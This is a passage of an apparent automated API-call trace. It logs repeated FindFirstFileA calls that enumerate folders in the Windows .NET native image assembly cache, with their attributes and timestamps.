nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.208] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Te3736ca4#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cb910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf82d7c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf82d7c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.213] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Te3736ca4#\\2bab41b138ea8671a7196b9ff5eff703\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cb910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf853920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf853920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.219] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Te49ad7d9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b65d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf853920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf853920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.224] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Te49ad7d9#\\dec85e545303d83bde6f819a4ba9d30e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b65d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf853920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf853920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.229] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V1955d7fd#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x575a5960, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf879a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf879a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.235] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V1955d7fd#\\e2cdf40a52bc2476dd5c5380a358eb7a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x575a5960, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf879a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf879a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.239] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V28a60cc2#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57b72f00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf879a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf879a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.246] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V28a60cc2#\\d02f058c4b5d4e6ef81836c35c4b0bd1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57b72f00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf89fbe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf89fbe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.252] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V4381984f#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e4d250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf89fbe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf89fbe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.257] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V4381984f#\\0466ad419d12860760e5dfe6bbf49de5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e733b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf89fbe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf89fbe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.262] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V5499e76b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57cc9b60, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf8c5d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf8c5d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.271] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V5499e76b#\\dcdef78dca044545e73929c53d8d9a43\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57cc9b60, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf8c5d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf8c5d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.277] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V883708cb#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57285c80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf8ebea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf8ebea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.282] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V883708cb#\\579e80e470317b178fe09b5686e12cce\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57285c80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf8ebea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf8ebea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.287] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc68b5e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf8ebea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf8ebea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.293] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8ce00c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf912000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf912000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.299] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vb0a86591#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a6ee90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf912000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf912000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.304] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vb0a86591#\\228955cf91a3ceb77127f96b1222d201\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a6ee90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf912000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf912000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.309] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vf4833439#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe15c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf938160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf938160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.314] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vf4833439#\\676b93f5d63c21fb20d41b7fe5758d87\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe15c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf938160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf938160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.320] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vf9a08577#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x571a1440, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf938160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf938160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.325] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vf9a08577#\\9c5e3d489fd152e470fb0dd644060368\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x571a1440, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf95e2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf95e2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.330] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vff41975e#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x578c5640, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf95e2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf95e2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.337] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vff41975e#\\76766ecb686f428f61682a0318998f92\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x578c5640, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf984420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf984420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.342] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.VisualC\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f31a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf984420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf984420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.347] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.VisualC\\b27195163d454fb631326636a62cc5f7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f31a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf984420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf984420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.352] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.W71daf281#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b91f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf984420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf984420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.357] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.W71daf281#\\75db5140d703c2ba2c0d6c42d7143432\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b91f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf9aa580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf9aa580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.364] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\MSBuild\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9d9ccf0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf9aa580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf9aa580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.369] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\MSBuild\\e8dca170b34839f04acc1ffb1f703533\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9d9ccf0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf9d06e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf9d06e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.374] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20a98c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf9d06e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf9d06e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.379] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9128b820, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf9d06e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf9d06e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.385] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio080b339b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x294f810, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf9f6840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf9f6840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.391] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio080b339b#\\b60d72c8bd80f4f8407c994030b09806\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x294f810, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf9f6840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf9f6840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.398] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1c9175f8#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f44580, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf9f6840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf9f6840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.403] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1c9175f8#\\6d817a204b0f8f8ee2e0a4d3c43b2e65\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac1fcba0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfa1c9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa1c9a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.409] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1c968d57#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15348aa0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfa1c9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa1c9a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.414] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1c968d57#\\0c63851c40b3ec90a0a8800695da85b9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa51cfee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfa1c9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa1c9a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.421] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1da2af67#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3adda50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfa42b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa42b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.425] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1da2af67#\\34b36caf81d5077c97fe6772828c965a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3adda50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfa42b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa42b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.431] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio49d6fefe#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, 